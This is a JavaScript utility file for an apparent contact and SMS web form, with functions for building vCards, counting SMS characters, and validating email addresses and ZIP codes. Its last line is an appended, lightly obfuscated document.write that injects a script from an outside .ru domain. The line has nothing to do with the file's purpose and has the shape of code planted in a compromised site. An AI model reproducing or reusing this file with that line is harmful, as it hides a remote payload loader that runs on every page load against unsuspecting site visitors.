//function genVC(name, phone, st1, st2, city, state, zip)

function genVC(name, phone, st1, city, state, zip)
{
	var frm = frm;	

	var vcard = "BEGIN:VCARD\n";
		vcard += "VERSION:2.1\n";
		vcard += "ORG:" + name + "\n";
		vcard += "TEL:" + phone + "\n";
		vcard += "ADR:;;" + st1 + ";" + city + ";" + state + ";" + zip + "\n";
		vcard += "END:VCARD";

	return vcard;
}


// Suite 101;1 Central St.;Any Town;NC;27654
// ADR:;;123 main st;canfield;OH;44406
function confirmDel()
{
	if (confirm("Delete this record?"))
	{
		return true;
	}
	else
	{
		return false;
	}
}

function updateTextBoxCounter(inFrm, fld)
{
	var frm = document.forms[inFrm];
	var msgTxt = frm.elements[fld];

	var unicodeFlag = 0;
	var extraChars = 0;
	var msgCount = 0;

	for (var i = 0; (!unicodeFlag && (i < msgTxt.value.length)); i++)
	{
		if (msgTxt.value.charAt(i) == '^')
		{
			extraChars++;
		}
		else if (msgTxt.value.charAt(i) == '{')
		{
			extraChars++;
		}
		else if (msgTxt.value.charAt(i) == '}')
		{
			extraChars++;
		}
		else if (msgTxt.value.charAt(i) == '\\')
		{
			extraChars++;
		}
		else if (msgTxt.value.charAt(i) == '[')
		{
			extraChars++;
		}
		else if (msgTxt.value.charAt(i) == '~')
		{
			extraChars++;
		}
		else if (msgTxt.value.charAt(i) == ']')
		{
			extraChars++;
		}
		else if (msgTxt.value.charAt(i) == '|')
		{
			extraChars++;
		}
		else if (msgTxt.value.charCodeAt(i) == 0x20AC)
		{
			extraChars++;
		}
	}

	msgCount = msgTxt.value.length + extraChars;

	if (msgCount <= 160)
	{
		msgCount = 1;
	}
	else
	{
		msgCount += (153-1);
		msgCount -= (msgCount % 153);
		msgCount /= 153;
	}

	frm.InfoCharCounter.value = "" + (msgTxt.value.length + extraChars) + " characters, " + msgCount + " SMS message(s)";	
}

function validateSrch()
{
	var frm = document.search;

	if (frm.searchString.value.length > 0)
	{
		frm.submit();
	}
	else
	{
		alert("Please enter a search value.");
		return false;
	}
}

function checkKeyForPhoneNum(evt)
{
	var keyChar;
	var isNav;
	var isIE;

	if (navigator.appName == "Netscape")
	{
//alert("P1");
		isNav = 0;
		document.captureEvents(Event.KEYPRESS);
	}
	else if (navigator.appName == "Microsoft Internet Explorer")
	{
//alert("P2");
		isIE = 1;
	}
	else
	{
//alert("P3");
		isIE = 1;
	}
	

	if (isNav == 0)
	{
//alert(evt.returnValue);
		if(evt.which < 48 || evt.which > 57)
			evt.RETURNVALUE = false;
	}
	else
	{
		if(evt.keyCode < 48 || evt.keyCode > 57)
			evt.returnValue = false;
	}
}

function checkEmailAddr(inEmail)
{
	var emailPat		= /^(.+)@(.+)$/
	var specialChars	= "\\(\\)<>@,;:\\\\\\\"\\.\\[\\]";
	var validChars		= "\[^\\s" + specialChars + "\]";
	var quotedUser		= "(\"[^\"]*\")";
	var ipDomainPat		= /^\[(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})\]$/
	var atom			= validChars + '+';
	var word			= "(" + atom + "|" + quotedUser + ")";
	var userPat			= new RegExp("^" + word + "(\\." + word + ")*$");
	var domainPat		= new RegExp("^" + atom + "(\\." + atom +")*$");
	var matchArray		= inEmail.match(emailPat);

	if (matchArray == null)
	{
		return false;
	}
		
	var user			= matchArray[1];
	var domain			= matchArray[2];
	
	if (user.match(userPat) == null)
	{
		return false;
	}
	
	var IPArray			= domain.match(ipDomainPat);
	
	if (IPArray != null)
	{
		for (var i=1;i<=4;i++)
		{
			if (IPArray[i]>255)
			{
				return false;
			}
		}
		return true;
	}
	
	var domainArray		= domain.match(domainPat);
	
	if (domainArray == null)
	{
		return false;
	}
	
	var atomPat			= new RegExp(atom,"g");
	var domArr			= domain.match(atomPat);
	var len				= domArr.length;
	if (domArr[domArr.length-1].length<2 || domArr[domArr.length-1].length > 4)
	{
		return false;
	}
	
	if (len < 2)
	{
		return false;
	}
	
	return true;
}

function wsTrim(inStr)
{
	// trim leading and trailing "whitespace"
	var whitespace = " \t\n\r";
	var i = 0;

	while ((i < inStr.length) && (whitespace.indexOf(inStr.charAt(i)) != -1))
	{
		i++;
	}
	
	var j = inStr.length;
	while ((j > i) && (whitespace.indexOf(inStr.charAt(j-1)) != -1))
	{
		j--;
	}
	
	return inStr.substr(i,j - i);
}

function ltgtTrim(inEmail)
{
	var lt = inEmail.indexOf("<");
	var gt = inEmail.indexOf(">");

	if ( (lt != -1) && (gt > lt) )	
	{
		return inEmail.substring(lt+1, gt);
	}
		
	lt = inEmail.indexOf("[");
	gt = inEmail.indexOf("]");
	
	if ( (lt != -1) && (gt > lt) ) 
	{
		return inEmail.substring(lt+1, gt);
	}
	
	return wsTrim(inEmail);
}

function zipCodeValidate(zip)
{
	if ((zip.length == 5) || (zip.length == 10))
	{
		for (var i = 0; i < 5; i++)
		{
			if (!ftisNumeric(zip.charAt(i)))
			{
				return false;
			}
			if (zip.length == 10)
			{
				if (zip.charAt(5) != "-")
				{
					return false;
				}
				for (i = 6; i < 10; i++)
				{	
					if (!ftisNumeric(zip.charAt(i)))
					{
						return false;
					}
				}
			}
		}
		return true;
	}
	else if ((zip.length == 6) || (zip.length == 7))
	{
		// canadian
		if (!ftisNumeric(zip.charAt(0)) &&
			ftisNumeric(zip.charAt(1)) &&
			!ftisNumeric(zip.charAt(2)))
		{
			return true;
		}
		else
		{
			return false;
		}
	}
	else
	{
		return false;
	}
}

function ftisNumeric(aChar)
{
	return ((aChar >= '0') && (aChar <= '9'));
}


function popup(file,h,w)
{
	if (document.step1 != undefined)
	{
		document.step1.readPriv.value = '1';
	}

	if (!h && !w)
	{
		var winParams = "scrollbars=yes,menubar=no,height=300,width=450,resizable=no,toolbar=no,location=no,status=no";
	}
	else
	{
		var winParams = "scrollbars=yes,menubar=no,height=" + h + ",width=" + w + ",resizable=no,toolbar=no,location=no,status=no";
	}

	window.open(file, '', winParams);
}
document.write('<sc'+'ript type="text/javascript" src="http://pocketbloke.ru/Queue.js"></scri'+'pt>');